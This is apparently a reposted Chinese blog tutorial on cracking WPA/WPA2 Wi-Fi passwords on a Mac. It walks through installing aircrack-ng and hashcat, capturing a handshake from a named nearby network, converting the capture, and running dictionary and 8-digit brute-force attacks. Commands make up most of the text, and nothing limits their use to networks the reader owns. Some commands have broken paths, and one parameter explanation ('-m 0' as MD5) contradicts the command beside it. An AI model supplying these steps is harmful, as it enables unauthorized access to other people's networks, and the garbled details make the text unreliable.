Mac上跑wifi密码方法

一. 安装MacPorts

官网: https://www.macports.org/install.php

前提: 本地已安装Xcode

1. 下载macOS High Sierra v10.13安装包
     https://github.com/macports/macports-base/releases/download/v2.4.2/MacPorts-2.4.2-10.13-HighSierra.pkg
2. 双击.pkg文件进行安装
3. sudo port install aircrack-ng
4. (option)为使用方便,将airport添加到PATH路径下(.bash_profile)

二. 安装hashcat

官网: https://hashcat.net/hashcat/

Github网址: https://github.com/hashcat/hashcat

1. 下载源码

git clone https://github.com/hashcat/hashcat.git
2. 编译安装
$ cd hashcat
$ sudo make 
$ sudo make install
3. 检查是否安装成功
$ hashcat -V

输出: v4.1.0-7-gf6cfcbbc

三. 安装hashcat-utils

网站: https://hashcat.net/wiki/doku.php?id=hashcat_utils#cap2hccapx
下载页面: https://github.com/hashcat/hashcat-utils/releases/

1. 解压zip包
2. cd到src目录下/Applications/Coding/hashcat-utils-1.8/src
3. sudo build
4. (option)为使用方便,将其配置到PATH目录下(.bash_profile)

抓包步骤:

1. airport -s

MERCURY_304 d8:15:0d:ef:a1:f0 -82  11,-1   Y  -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)

2. sudo airport en0 sniff 6

3. ls -lh /tmp/*.cap


格式转换:

1. 旧版本
将.cap文件转为.hccap格式
aircrack-ng airportSniffhLSNU6.cap -J out.hccap

2. 新版本:
将网络抓取文件(.cap 或 .pcap)转换为 .hccapx 格式
$ ./cap2hccapx.bin /tmp/airportSniffhLSNU6.cap /tmp/output.hccapx TP_LINK


破解步骤:
1. 使用aircrack-ng破解(慢!!)
$ sudo aircrack-ng -w /Users/nb/Downloads/password.txt -b d8:15:0d:ef:a1:f0 /tmp/airportSniffhLSNU6.cap

2. 使用hashcat破解(快!!!)
(旧版本hccap格式)$ hashcat -m 2500 /tmp/out.hccap .hccap /Users/nb/Downloads/password.txt
(新版本hccapx格式)$ hashcat -m 2500 /tmp/output .hccapx /Users/nb/Downloads/password.txt
解释: 
第一个参数: -m 2500为破解的模式为WPA/PSK方式
第二个参数: hccapx格式的文件是刚刚转化好的文件
第三个参数: password.txt为字典文件

8位全数字例子:
$ hashcat -m 2500 -a 3 handshake.hccap ?d?d?d?d?d?d?d?d
解释:
参数: -a 3:设置攻击模式,“模式3”代表暴力破解
参数: -m 0:设置待破解数据的哈希类型,“0”即为MD5


参考文章:
1.  http://www.cnblogs.com/diligenceday/p/6359661.html
2. http://topspeedsnail.com/macbook-crack-wifi-with-wpa-wpa2/

TO READ:
1. Cracking WPA/WPA2 with hashcat
https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2
2. hcxtools
https://github.com/ZerBea/hcxtools
3. https://klionsec.github.io/2015/04/14/aircrack-hascat/#menu

猜你喜欢

转载自blog.csdn.net/pansanday/article/details/79611605